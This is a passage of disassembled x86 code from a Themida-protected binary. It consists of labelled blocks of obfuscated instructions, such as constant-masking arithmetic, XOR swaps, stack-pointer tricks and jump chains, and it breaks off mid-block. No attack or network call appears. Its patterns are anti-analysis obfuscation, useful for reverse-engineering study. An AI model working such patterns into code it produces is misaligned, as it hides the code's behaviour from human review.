loc_54A64A:				; CODE XREF: Themida_:0054771Dj
		mov	ecx, 0A726E5Ch
		xor	ecx, 19187247h
		sub	ecx, 136A1C17h
		add	ebx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_547B56
; ---------------------------------------------------------------------------


loc_54A678:				; CODE XREF: Themida_:0054C1A7j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_548C25
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_54EC0F
; ---------------------------------------------------------------------------


loc_54A69C:				; CODE XREF: Themida_:0054E580j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54E518
; ---------------------------------------------------------------------------


loc_54A6AA:				; CODE XREF: Themida_:00548CABj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54523E
; ---------------------------------------------------------------------------


loc_54A6B5:				; CODE XREF: Themida_:0054985Cj
		push	ecx
		mov	cl, al
		mov	dh, cl
		jmp	loc_5455CF
; ---------------------------------------------------------------------------


loc_54A6BF:				; CODE XREF: Themida_:0054AEC2j
		push	ecx
		mov	ecx, 5AAB1460h
		sub	ecx, 35A12DCFh
		xor	ecx, 2A6BE172h
		add	edx, ecx
		pop	ecx
		add	edx, ebx
		sub	edx, 0F6207E3h
		sub	edx, 2E926B91h
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_54B1E2
; ---------------------------------------------------------------------------


loc_54A6FD:				; CODE XREF: Themida_:0054F15Cj
		push	ebx
		push	7876h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_545FFD
; ---------------------------------------------------------------------------


loc_54A715:				; CODE XREF: Themida_:0054C5FDj
		mov	al, 0B3h
		xor	al, 0EFh
		and	al, 4Ch
		neg	al
		inc	al
		sub	al, 7Bh
		mov	ch, al
		pop	eax
		push	edx
		mov	dh, 99h
		and	ch, dh
		jmp	loc_54EFA7
; ---------------------------------------------------------------------------


loc_54A72E:				; CODE XREF: Themida_:00548047j
		mov	ch, 0ADh
		sub	al, 51h
		sub	al, ch
		add	al, 51h
		pop	ecx
		add	al, 8
		mov	ch, al
		pop	eax
		jmp	loc_54F605
; ---------------------------------------------------------------------------


loc_54A741:				; CODE XREF: Themida_:00547F03j
		sub	edi, eax
		sub	edi, 5BE54D9Dh
		jmp	loc_54F26A
; ---------------------------------------------------------------------------


loc_54A74E:				; CODE XREF: Themida_:0054B224j
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	dword ptr [esp], 16C201B2h
		pop	ebp
		push	ecx
		mov	ecx, 16C201B2h
		add	ebp, ecx
		pop	ecx
		push	ebp
		pop	eax
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	1442h
		mov	[esp], eax
		mov	eax, 3156069Ah
		xor	eax, 3D2C0544h
		shr	eax, 6
		shl	eax, 2
		inc	eax
		jmp	loc_5466B4
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebx
		mov	ebx, 0E8E1E23h
		sub	ebx, 1
		jmp	loc_54B40B
; ---------------------------------------------------------------------------


loc_54A7B2:				; CODE XREF: Themida_:00544D21j
		xchg	esi, [esp]
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		xchg	esi, [esp]
		mov	edi, [esp]
		jmp	loc_54AC85
; ---------------------------------------------------------------------------


loc_54A7C6:				; CODE XREF: Themida_:0054D006j
		pop	ecx
		xor	ecx, 2783738Dh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54B9BB
; ---------------------------------------------------------------------------


loc_54A7DB:				; CODE XREF: Themida_:00545B0Dj
		pop	ecx
		jmp	loc_54A47E
; ---------------------------------------------------------------------------


loc_54A7E1:				; CODE XREF: Themida_:0054BB2Ej
		add	ebp, ecx
		add	ebp, 110F73F3h
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 2
		mov	edi, ebx
		pop	ebx
		sub	ebp, 14273FA1h
		jmp	loc_54D9E9
; ---------------------------------------------------------------------------


loc_54A804:				; CODE XREF: Themida_:00547600j
		pop	edi
		add	esp, 4
		add	edx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54F99C
; ---------------------------------------------------------------------------


loc_54A818:				; CODE XREF: Themida_:0054927Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		jmp	loc_54E0DC
; ---------------------------------------------------------------------------


loc_54A831:				; CODE XREF: Themida_:00544603j
		mov	ecx, [edx]
		mov	edx, [esp]
		jmp	loc_544D09
; ---------------------------------------------------------------------------


loc_54A83B:				; CODE XREF: Themida_:005457EEj
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_545D89
; ---------------------------------------------------------------------------


loc_54A856:				; CODE XREF: Themida_:0054B4AEj
		mov	eax, 76DE3256h
		jmp	loc_546D92
; ---------------------------------------------------------------------------


loc_54A860:				; CODE XREF: Themida_:0054EDB0j
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_54D446
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_548D0A
; ---------------------------------------------------------------------------


loc_54A87E:				; CODE XREF: Themida_:00545793j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54BA40
; ---------------------------------------------------------------------------


loc_54A896:				; CODE XREF: Themida_:0054BC2Ej
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_54D28F
; ---------------------------------------------------------------------------


loc_54A8A8:				; CODE XREF: Themida_:00546897j
		and	edx, 52EC0951h
		jmp	loc_549E23
; ---------------------------------------------------------------------------


loc_54A8B3:				; CODE XREF: Themida_:0054DC3Aj
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		xchg	edi, [esp]
		pop	ebx
		shr	ebx, 5
		sub	ebx, 1
		push	0
		sub	[esp], ebx
		pop	ebx
		sub	ebx, 0E7D810CFh
		push	eax
		mov	eax, 20h
		add	eax, edi
		xor	[eax], ebx
		jmp	loc_548DF7
; ---------------------------------------------------------------------------


loc_54A8E6:				; CODE XREF: Themida_:0054699Fj
		mov	eax, esp
		push	0B07h
		mov	[esp], edi
		push	ebx
		push	675014CDh
		pop	ebx
		jmp	loc_54458E
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_54A157
; ---------------------------------------------------------------------------


loc_54A904:				; CODE XREF: Themida_:00546486j
		mov	dl, [esp+2]
		mov	[esp+2], bl
		pop	bx
		not	dl
		xchg	dl, [esp]
		jmp	loc_547DC7
; ---------------------------------------------------------------------------


loc_54A918:				; CODE XREF: Themida_:0054652Cj
		add	ecx, 0FF828CDh
		add	ecx, edx
		sub	ecx, 0FF828CDh
		add	ecx, 4FE2407Ah
		pop	edx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_544A2A
; ---------------------------------------------------------------------------


loc_54A948:				; CODE XREF: Themida_:00545AEEj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		push	550F7880h
		pop	edi
		jmp	loc_547065
; ---------------------------------------------------------------------------


loc_54A97F:				; CODE XREF: Themida_:0054E04Bj
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_546B00
; ---------------------------------------------------------------------------


loc_54A98F:				; CODE XREF: Themida_:00547FBBj
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	6663h
		mov	[esp], eax
		jmp	loc_54F371
; ---------------------------------------------------------------------------


loc_54A9A7:				; CODE XREF: Themida_:005466EFj
		pop	eax
		mov	dl, cl
		pop	ecx
		pop	ebx
		and	al, dl
		mov	dx, [esp]
		jmp	loc_54C348
; ---------------------------------------------------------------------------


loc_54A9B7:				; CODE XREF: Themida_:00548506j
		push	edi
		jmp	loc_54C724
; ---------------------------------------------------------------------------


loc_54A9BD:				; CODE XREF: Themida_:0054AAF5j
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54A9C9:				; CODE XREF: Themida_:0054CB36j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_545109
; ---------------------------------------------------------------------------


loc_54A9D2:				; CODE XREF: Themida_:00546F90j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	small 3644h
		mov	[esp], bx
		mov	bl, 58h
		sub	al, 0BFh
		add	al, 8Dh
		add	al, bl
		sub	al, 8Dh
		push	cx
		mov	ch, 0BFh
		add	al, ch
		pop	cx
		mov	bx, [esp]
		jmp	loc_547708
; ---------------------------------------------------------------------------


loc_54A9FF:				; CODE XREF: Themida_:00548CEFj
		push	esi
		mov	esi, 75F7373Ah
		push	esi
		sub	dword ptr [esp], 2BE2308Dh
		pop	eax
		add	eax, 2BE2308Dh
		pop	esi
		push	ebp
		mov	ebp, 42A8015Ah
		not	ebp
		shl	ebp, 8
		push	ecx
		jmp	loc_5443B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54AA25:				; CODE XREF: sub_545BCC+39EBj
		add	dl, bh
		add	dl, 3Fh
		mov	ebx, [esp+0]
		add	esp, 4
		sub	al, 88h
		add	al, dl
		add	al, 88h
		mov	dx, word ptr [esp+2+var_4+2]
		add	esp, 2
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54D9D7
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54AA54:				; CODE XREF: Themida_:0054DE1Bj
		xor	eax, ecx
		jmp	loc_54C0FC
; ---------------------------------------------------------------------------


loc_54AA5B:				; CODE XREF: Themida_:00547AF3j
		xchg	esi, [esp]
		jmp	loc_54CE6E
; ---------------------------------------------------------------------------


loc_54AA63:				; CODE XREF: Themida_:00548291j
		mov	edx, esp
		jmp	loc_548036
; ---------------------------------------------------------------------------


loc_54AA6A:				; CODE XREF: Themida_:00548C58j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_548A52
; ---------------------------------------------------------------------------


loc_54AA94:				; CODE XREF: Themida_:0054E750j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54E344
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_549277
; ---------------------------------------------------------------------------


loc_54AAC9:				; CODE XREF: Themida_:00546499j
		add	esi, 34BDF79Dh
		sub	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 53784C09h
		add	ecx, 2CFF587Eh
		add	ecx, 423F4D61h
		jmp	loc_547AA5
; ---------------------------------------------------------------------------


loc_54AAE9:				; CODE XREF: Themida_:00546650j
		mov	[esp], cx
		jmp	loc_549374
; ---------------------------------------------------------------------------


loc_54AAF2:				; CODE XREF: Themida_:0054B2B5j
		pop	dword ptr [esp]
		jmp	loc_54A9BD
; ---------------------------------------------------------------------------


loc_54AAFA:				; CODE XREF: Themida_:0054C472j
		mov	ecx, 0BCC3799h
		jmp	loc_545F0E
; ---------------------------------------------------------------------------


loc_54AB04:				; CODE XREF: Themida_:0054D42Fj
		push	esi
		jmp	loc_5446A0
; ---------------------------------------------------------------------------


loc_54AB0A:				; CODE XREF: Themida_:0054FC5Ej
		mov	[esp], eax
		jmp	loc_545FE4
; ---------------------------------------------------------------------------


loc_54AB12:				; CODE XREF: Themida_:00548236j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, 11D24C00h
		add	esi, ebp
		jmp	loc_54F643
; ---------------------------------------------------------------------------


loc_54AB2B:				; CODE XREF: Themida_:0054BE57j
		mov	ebx, 6A5A7C8Ch
		dec	ebx
		sub	ebx, 20BA58A6h
		add	eax, ebx
		jmp	loc_54D9C2
; ---------------------------------------------------------------------------


loc_54AB3E:				; CODE XREF: Themida_:0054D3DCj
		shl	edi, 4
		push	ecx
		mov	ecx, 57801858h
		add	ecx, 9A6CCB75h
		sub	edi, 2A1E09AAh
		add	edi, ecx
		add	edi, 2A1E09AAh
		pop	ecx
		add	eax, 7AB842B6h
		add	eax, edi
		sub	eax, 7AB842B6h
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 3D7C7265h
		or	edx, 5C315FD2h
		jmp	loc_54FEB6
; ---------------------------------------------------------------------------


loc_54AB82:				; CODE XREF: Themida_:0054B0CFj
		xchg	ecx, edx
		jmp	loc_546896
; ---------------------------------------------------------------------------


loc_54AB89:				; CODE XREF: Themida_:0054C6A7j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edi, [esp]
		jmp	loc_54F1A9
; ---------------------------------------------------------------------------


loc_54AB9C:				; CODE XREF: Themida_:0054D353j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_549E94
; ---------------------------------------------------------------------------


loc_54ABB9:				; CODE XREF: Themida_:00545902j
		mov	edi, 79AC4E76h
		jmp	loc_54E265
; ---------------------------------------------------------------------------


loc_54ABC3:				; CODE XREF: Themida_:005498DCj
		neg	dl
		shr	dl, 5
		jmp	loc_54421A
; ---------------------------------------------------------------------------


loc_54ABCD:				; CODE XREF: Themida_:0054540Aj
		push	4218164Fh
		jmp	loc_547E34
; ---------------------------------------------------------------------------


loc_54ABD7:				; CODE XREF: Themida_:0054DE61j
		shl	esi, 3
		push	edi
		mov	edi, 7E791A6Ch
		xor	edi, 1B5D6650h
		jmp	loc_54D270
; ---------------------------------------------------------------------------


loc_54ABEB:				; CODE XREF: Themida_:0054E4FAj
		add	edi, 18CC3C39h
		jmp	loc_5449A8
; ---------------------------------------------------------------------------


loc_54ABF6:				; CODE XREF: Themida_:0054F750j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5444B4
; ---------------------------------------------------------------------------


loc_54AC02:				; CODE XREF: Themida_:0054A152j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, 4BDB07E8h
		mov	eax, 4BDB07ECh
		xor	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 1DB059C2h
		sub	ebx, 116A07F2h
		add	edx, ebx
		jmp	loc_548516
; ---------------------------------------------------------------------------


loc_54AC2A:				; CODE XREF: Themida_:0054530Bj
		sub	edi, 0AE8C965Ch
		mov	eax, edi
		jmp	loc_545B12
; ---------------------------------------------------------------------------


loc_54AC37:				; CODE XREF: Themida_:0054F717j
		push	0
		add	byte ptr [esp],	0C9h
		sub	[esp], dl
		sub	byte ptr [esp],	0C9h
		mov	dl, [esp]
		add	esp, 4
		dec	dl
		not	dl
		sub	dl, 54h
		xor	al, dl
		push	dword ptr [esp]
		jmp	loc_54B090
; ---------------------------------------------------------------------------


loc_54AC5E:				; CODE XREF: Themida_:00549CACj
		mov	ecx, 1F124DECh
		not	ecx
		xor	ecx, 0A831C02h
		jmp	loc_54E22A
; ---------------------------------------------------------------------------


loc_54AC70:				; CODE XREF: Themida_:0054838Bj
		xor	eax, 0E0255D2h
		add	eax, 6FB5280h
		push	edi
		mov	edi, 2EBAF05Fh
		jmp	loc_5471B9
; ---------------------------------------------------------------------------


loc_54AC85:				; CODE XREF: Themida_:0054A7C1j
		add	esp, 4
		shl	edi, 7
		shl	edi, 6
		not	edi
		jmp	loc_54675A
; ---------------------------------------------------------------------------


loc_54AC98:				; CODE XREF: Themida_:005488CEj
		push	dx
		mov	dl, 1Bh
		sub	cl, dl
		mov	dx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		push	small 8F2h
		mov	[esp], bx
		push	edx
		mov	dl, 0B2h
		shl	dl, 8
		xor	dl, 61h
		shl	dl, 5
		push	eax
		mov	al, 0D1h
		add	dl, al
		pop	eax
		mov	bl, dl
		jmp	loc_544CE2
; ---------------------------------------------------------------------------


loc_54ACD6:				; CODE XREF: Themida_:0054D6B1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_54CCFF
		push	eax
		sub	esp, 4
		jmp	loc_54570C
; ---------------------------------------------------------------------------


loc_54ACFF:				; CODE XREF: Themida_:00547A27j
		push	dword ptr [esp]
		jmp	loc_54887C
; ---------------------------------------------------------------------------


loc_54AD07:				; CODE XREF: Themida_:005470E6j
		add	ecx, 122D708Ah
		pop	ebp
		jmp	loc_54667D
; ---------------------------------------------------------------------------


loc_54AD13:				; CODE XREF: Themida_:0054CE0Cj
		pop	esi
		sub	ecx, 439A5ED6h
		sub	ecx, edi
		jmp	loc_54D66E
; ---------------------------------------------------------------------------


loc_54AD21:				; CODE XREF: Themida_:00544050j
		mov	[esp], esp
		jmp	loc_54B86A
; ---------------------------------------------------------------------------


loc_54AD29:				; CODE XREF: Themida_:005473F8j
		mov	[esp], edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		jmp	loc_5500A5
; ---------------------------------------------------------------------------


loc_54AD39:				; CODE XREF: Themida_:00545EABj
		add	esi, eax
		pop	eax
		jmp	loc_5478F8
; ---------------------------------------------------------------------------


loc_54AD41:				; CODE XREF: Themida_:005448FEj
		push	52FFh
		mov	[esp], ebx
		push	ecx
		jmp	loc_54D833
; ---------------------------------------------------------------------------


loc_54AD4F:				; CODE XREF: Themida_:0054DFFCj
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54AD5A:				; CODE XREF: Themida_:0054A3BDj
		xor	ecx, [esp]
		jmp	loc_544ED6
; ---------------------------------------------------------------------------


loc_54AD62:				; CODE XREF: Themida_:0054A453j
		push	ebp
		push	eax
		mov	eax, 61544BE2h
		xor	eax, 2FA622D5h
		shl	eax, 8
		xor	eax, 0BF8F2628h
		mov	ebp, eax
		pop	eax
		not	ebp
		and	ebp, 7A6425Dh
		xor	ebp, 14FA60DAh
		add	ebp, 0EBEFFEC5h
		add	eax, ebp
		pop	ebp
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_545F1C
; ---------------------------------------------------------------------------


loc_54AD9C:				; CODE XREF: Themida_:0054A5D4j
		add	ecx, 1CAC76E1h
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_546B2D
; ---------------------------------------------------------------------------


loc_54ADC6:				; CODE XREF: Themida_:0054B40Cj
		mov	ecx, 6A729B0h
		push	ebx
		jmp	loc_54411E
; ---------------------------------------------------------------------------


loc_54ADD1:				; CODE XREF: Themida_:0054BEF2j
		push	edx
		sub	esp, 4
		jmp	loc_54DF6C
; ---------------------------------------------------------------------------


loc_54ADDA:				; CODE XREF: Themida_:00548CDFj
		shl	eax, 3
		xor	eax, 2385FF4Ah
		jmp	loc_5480DE
; ---------------------------------------------------------------------------


loc_54ADE7:				; CODE XREF: Themida_:00544A56j
		add	bl, ch
		jmp	loc_54CEC2
; ---------------------------------------------------------------------------


loc_54ADEE:				; CODE XREF: Themida_:0054D415j
		add	esp, 4
		jmp	loc_548AA2
; ---------------------------------------------------------------------------


loc_54ADF9:				; CODE XREF: Themida_:0054D8EDj
		pop	ebx
		pop	edi
		add	ecx, edx
		push	7E27h
		mov	[esp], edx
		mov	edx, 0
		add	edx, ecx
		mov	[edx], al
		pop	edx
		jmp	loc_54445A
; ---------------------------------------------------------------------------


loc_54AE14:				; CODE XREF: Themida_:0054A39Ej
		push	edx
		push	esp
		pop	edx
		push	esi
		push	edx
		push	5E081552h
		pop	edx
		or	edx, 5B560F72h
		shl	edx, 8
		xor	edx, 5E1F7204h
		push	edx
		xor	dword ptr [esp], 10213E46h
		pop	esi
		xor	esi, 10213E46h
		mov	edx, [esp]
		add	esp, 4
		add	edx, esi
		pop	esi
		push	esi
		mov	esi, 3EA15A72h
		xor	esi, 3EA15A76h
		sub	edx, 1AD1415Ah
		add	edx, esi
		add	edx, 1AD1415Ah
		pop	esi
		xchg	edx, [esp]
		jmp	loc_54B87F
; ---------------------------------------------------------------------------


loc_54AE69:				; CODE XREF: Themida_:0054C39Ej
		mov	ecx, 0C7463C8h
		mov	esi, 0F38B9C39h
		add	esi, ecx
		jmp	loc_54727C
; ---------------------------------------------------------------------------


loc_54AE7A:				; CODE XREF: Themida_:00547FEAj
		sub	ebx, edx
		pop	edx
		push	edi
		mov	edi, 34A84E9Eh
		xchg	ebp, edi
		jmp	loc_54A3D1
; ---------------------------------------------------------------------------


loc_54AE8A:				; CODE XREF: Themida_:00547DA0j
		mov	bl, 0B0h
		add	bl, 4Ch
		push	ax
		jmp	loc_54B3A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54AE96:				; CODE XREF: sub_545BCC+2E69j
		add	ch, 25h
		sub	ch, 82h
		add	bl, 49h
		jmp	loc_547527
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54AEA4:				; CODE XREF: Themida_:0054FBADj
		add	eax, 4
		jmp	loc_54F7C9
; ---------------------------------------------------------------------------


loc_54AEAE:				; CODE XREF: Themida_:00547D54j
		push	4
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2E926B91h
		jmp	loc_54A6BF
; ---------------------------------------------------------------------------


loc_54AEC7:				; CODE XREF: Themida_:00546420j
		push	ecx
		mov	ecx, esp
		jmp	loc_54A3F1
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_54A3A3
; ---------------------------------------------------------------------------


loc_54AED5:				; CODE XREF: Themida_:0054F51Bj
		pop	edx
		jmp	loc_5473C2
; ---------------------------------------------------------------------------


loc_54AEDB:				; CODE XREF: Themida_:0054522Bj
		shr	ch, 7
		or	ch, 0FAh
		jmp	loc_54C71E
; ---------------------------------------------------------------------------


loc_54AEE6:				; CODE XREF: Themida_:0054F8DDj
		mov	esi, 5D3277Ah
		push	ecx
		mov	ecx, 282E1227h
		neg	ecx
		neg	ecx
		add	ecx, 0E05DFD7Eh
		jmp	loc_54CB10
; ---------------------------------------------------------------------------


loc_54AF00:				; CODE XREF: Themida_:00546BAFj
		shl	eax, 2
		sub	eax, 69262B0Bh
		push	ebp
		mov	ebp, 220EFB36h
		jmp	loc_54DC33
; ---------------------------------------------------------------------------


loc_54AF13:				; CODE XREF: Themida_:005482BAj
		mov	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		mov	al, 0E3h
		add	al, 33h
		jmp	loc_5474C3
; ---------------------------------------------------------------------------


loc_54AF2F:				; CODE XREF: Themida_:0054A308j
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	3E90h
		mov	[esp], edi
		mov	edi, 51A0765h
		jmp	loc_54B0BB
; ---------------------------------------------------------------------------


loc_54AF45:				; CODE XREF: Themida_:0054820Aj
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_546BBF
; ---------------------------------------------------------------------------


loc_54AF62:				; CODE XREF: Themida_:0054A577j
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_544945
; ---------------------------------------------------------------------------


loc_54AF6F:				; CODE XREF: Themida_:0054F88Fj
		push	533h
		mov	[esp], edi
		push	6281756h
		pop	edi
		shr	edi, 2
		push	edx
		mov	edx, 3F3A3EFBh
		jmp	loc_54FB82
; ---------------------------------------------------------------------------


loc_54AF8B:				; CODE XREF: Themida_:0054E72Ej
		add	ecx, 6838037Ah
		sub	ecx, edx
		sub	ecx, 6838037Ah
		jmp	loc_545D2F
; ---------------------------------------------------------------------------


loc_54AF9E:				; CODE XREF: Themida_:0054EFEBj
		mov	ecx, edx
		jmp	loc_544369
; ---------------------------------------------------------------------------


loc_54AFA5:				; CODE XREF: Themida_:0054F18Bj
		sub	edi, 0E6797480h
		add	ebx, 25326C80h
		add	ebx, edi
		sub	ebx, 25326C80h
		pop	edi
		push	edx
		jmp	loc_54B450
; ---------------------------------------------------------------------------


loc_54AFC0:				; CODE XREF: Themida_:0054DA54j
		mov	bl, 1Dh
		shr	bl, 1
		jmp	loc_54D518
; ---------------------------------------------------------------------------


loc_54AFC9:				; CODE XREF: Themida_:0054E3CEj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_544C09
; ---------------------------------------------------------------------------


loc_54AFD7:				; CODE XREF: Themida_:0054B396j
		sub	ebx, 61F07A89h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_547E83
; ---------------------------------------------------------------------------


loc_54AFE8:				; CODE XREF: Themida_:0054B61Dj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54A165
; ---------------------------------------------------------------------------


loc_54AFF4:				; CODE XREF: Themida_:00547BF5j
					; Themida_:0054DDE4j
		push	esi
		push	ebp
		jmp	loc_548E6B
; ---------------------------------------------------------------------------


loc_54AFFB:				; CODE XREF: Themida_:0054E20Aj
		mov	[esp], edi
		push	503D6CC5h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, 503D6CE1h
		jmp	loc_544C47
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	4345h
		mov	[esp], ecx
		jmp	loc_54CD1C
; ---------------------------------------------------------------------------


loc_54B02E:				; CODE XREF: Themida_:00549563j
		mov	ch, 33h
		add	al, 5Ch
		add	al, ch
		sub	al, 5Ch
		mov	cx, [esp]
		jmp	loc_546FB7
; ---------------------------------------------------------------------------
		mov	edi, 4A5014DCh
		sub	edx, edi
		jmp	loc_54C677
; ---------------------------------------------------------------------------


loc_54B04B:				; CODE XREF: Themida_:0054C699j
		pop	esi
		sub	esi, 24F0666h
		push	ebp
		mov	ebp, 19CA6D4Fh
		and	esi, ebp
		pop	ebp
		xor	esi, 272C6301h
		mov	ebx, esi
		pop	esi
		shl	ebx, 1
		and	ebx, 2E5657FAh
		shr	ebx, 1
		and	ebx, 3ABA43E8h
		xor	ebx, 0BDC2A9Fh
		sub	eax, 59C65CB0h
		add	eax, 414F69FDh
		sub	eax, ebx
		sub	eax, 414F69FDh
		jmp	loc_54C9DC
; ---------------------------------------------------------------------------


loc_54B090:				; CODE XREF: Themida_:0054AC59j
		pop	edx
		add	esp, 4
		add	bl, 3Bh
		add	bl, 75h
		push	dx
		jmp	loc_54724A
; ---------------------------------------------------------------------------


loc_54B0A4:				; CODE XREF: Themida_:0054619Cj
		push	4
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_547B77
; ---------------------------------------------------------------------------


loc_54B0BB:				; CODE XREF: Themida_:0054AF40j
		push	edx
		mov	edx, 6FBF754Ch
		or	edx, 79E33164h
		push	ecx
		mov	ecx, 0
		sub	ecx, edx
		jmp	loc_54AB82
; ---------------------------------------------------------------------------


loc_54B0D4:				; CODE XREF: Themida_:005458E4j
		add	edx, ebx
		pop	ebx
		jmp	loc_54DD1E
; ---------------------------------------------------------------------------


loc_54B0DC:				; CODE XREF: Themida_:00544058j
		mov	[esp], esi
		mov	esi, 6BBD5609h
		add	eax, esi
		jmp	loc_54BDDF
; ---------------------------------------------------------------------------


loc_54B0EB:				; CODE XREF: Themida_:0054F0F4j
		push	0
		sub	[esp], edx
		pop	edx
		not	edx
		jmp	loc_546765
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54B0FB:				; CODE XREF: sub_545BCC-350j
		pop	ebx
		push	ecx
		mov	ch, 0AEh
		sub	al, ch
		pop	ecx
		jmp	loc_54F729
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54B107:				; CODE XREF: Themida_:00546F03j
		push	bx
		jmp	loc_54F28B
; ---------------------------------------------------------------------------


loc_54B10E:				; CODE XREF: Themida_:0054D887j
		mov	[esp], edi
		mov	edi, 771A569Fh
		add	edi, 94B1E0FAh
		jmp	loc_54FBFA
; ---------------------------------------------------------------------------


loc_54B121:				; CODE XREF: Themida_:00544A9Aj
		pop	edi
		add	eax, 39B0466Eh
